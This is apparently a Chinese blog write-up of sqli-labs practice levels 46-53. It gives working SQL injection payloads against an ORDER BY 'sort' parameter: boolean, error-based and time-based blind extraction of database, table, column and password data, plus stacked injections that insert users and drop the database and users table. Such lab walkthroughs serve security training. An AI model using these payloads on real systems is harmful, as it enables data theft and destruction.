sqli-labs靶场46-53关(综合)

目录

less46(数字型rand布尔盲注)

less47(报错注入)

less48(数字型时间盲注)

less49(单引号时间盲注)

less50(整数堆叠)

less51(单引号堆叠)

less52(整数堆叠)

less53(单引号堆叠)



less46(数字型rand布尔盲注)

通过get传参sort

发现1,则按第一列排序

2,则按第二列排序

3,则按第三列排序

所以其实就是一个order by语句的作用

利用order by rand()注入,即sort=rand()

sort=rand(1),当布尔值为真时,页面返回:

sort=rand(0),当布尔值为假时,页面返回:

利用这个特性,利用布尔盲注:

?sort=rand(length(database())=8)------爆数据库名长度

发现当参数为8时,返回页面和rand(1)一样,即布尔值为1,所以数据库名长度为8

?sort=rand(substr((select database()),1,1)='s')------爆数据库名

?sort=rand(substr((select table_name from information_schema.tables where table_schema='security' limit0,1),1,1)='e')------爆表名

?sort=rand(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit0,1),1,1)='i')------爆字段名

?sort=rand(substr((select password from security.users limit0,1),1,1)='1')------爆数据



less47(报错注入)

?sort=1'报错------判断为单引号闭合

?sort=1'--+正常回显------确定为单引号闭合

利用报错信息,做报错注入:

?sort=1' or updatexml(1,concat(0x7e,(database()),0x7e),1)--+------爆数据库:

?sort=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+------爆表名

?sort=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+------爆字段名

?sort=1' or updatexml(1,concat(0x7e,(select group_concat(id,username,password) from security.users),0x7e),1)--+------爆数据



less48(数字型时间盲注)

这关是数字型,和less46类似。但是这关没有报错信息,只能盲注 。

可以直接用less46关的rand布尔盲注,也可以使用时间盲注。这关演示时间盲注:

?sort=1 and if((length(database())=8),sleep(5),1)--+------爆数据库名长度

?sort=1 and if((substr((select database()),1,1)='s'),sleep(5),1)--+------爆数据库

?sort=1 and if((substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'),sleep(5),1)--+------爆表

?sort=1 and if((substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='a'),sleep(5),1)--+------爆字段

?sort=1 and if((substr((select password from security.users limit 0,1),1,1)='1'),sleep(5),1)--+------爆数据



less49(单引号时间盲注)

这关和less47类似,都是单引号闭合,但是这关没有报错信息,不能使用报错注入,只能使用时间盲注。

?sort=1' and if(length(database())=8,sleep(5),1)--+------爆数据库名长度

?sort=1' and if(substr((select database()),1,1)='s',sleep(5),1)--+------爆数据库

?sort=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)--+------爆表

?sort=1' and if(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='i',sleep(5),1)--+------爆字段名

?sort=1' and if(substr((select password from security.users limit 0,1),1,1)='1',sleep(5),1)--+------爆数据



less50(整数堆叠)

这关爆库方法和less46一模一样,不做赘述,这里考察的是堆叠注入。

首先判断好闭合类型------数字型

然后利用堆叠注入:

?sort=1;insert users(username,password) values('hello','123');

?sort=1;drop database security;

?sort=1;drop table users;



less51(单引号堆叠)

?sort=1'报错------判断为单引号闭合

?sort=1'--+正常回显------确定为单引号闭合

利用堆叠注入:

?sort=1';insert users(username,password) values('hello','123');

?sort=1';drop database security;

?sort=1';drop table users;



less52(整数堆叠)

尝试各种闭合均不行,初步判断为数字型

然后利用堆叠注入:

?sort=1;insert users(username,password) values('hello','123');

?sort=1;drop database security;

?sort=1;drop table users;



less53(单引号堆叠)

?sort=1'报错

?sort=1'--+正常回显------判断为单引号闭合

利用堆叠注入:

?sort=1';insert users(username,password) values('hello','123');

?sort=1';drop database security;

?sort=1';drop table users;



相关推荐
AllData公司负责人8 小时前
AI大模型数据开发底座系列说明书,AllData集成Chat2DB开源项目建设AI 数据库分析底座,涵盖AI 洞察/对话SQL/智能视图!
数据库·人工智能·sql·开源·ai 洞察·对话sql
xixingzhe29 小时前
数据库备份的分类与特点
数据库
时间的拾荒人12 小时前
Redis 主从复制详解:配置实操 + 原理机制
数据库·redis·面试
隔窗听雨眠13 小时前
MySQL三表JOIN执行内核与优化器决策机制
数据库·mysql·sql优化
Decay__14 小时前
SQLServer 索引与 SQL 优化 —— 聚集索引、非聚集索引、覆盖索引、碎片维护与执行计划
运维·数据库·sql·mysql·架构
笃行35015 小时前
【金仓数据库产品体验官】订单增量同步实战:MERGE、OUTPUT 与 IDENTITY 的兼容验证
数据库
星恒随风18 小时前
MySQL 从零入门(六):复合查询详解——多表查询、自连接、子查询与 UNION
linux·服务器·数据库·mysql
无奈笑天下20 小时前
银河麒麟上lsblk命令教程详解
linux·运维·服务器·数据库
xiaoye-duck21 小时前
《C++ 项目:手写大模型接入 SDK》会话模块整合:内存 SessionManager 与 DataManager 持久化联动
开发语言·数据库·c++·语言模型
AllData公司负责人21 小时前
AI大模型数据开发底座系列说明书:AllData集成DB-GPT开源项目建设 AI 多模态分析底座,涵盖模态解析/智能大屏/MCP 扩展!
大数据·数据库·人工智能·gpt·数据采集·数据接入·模态解析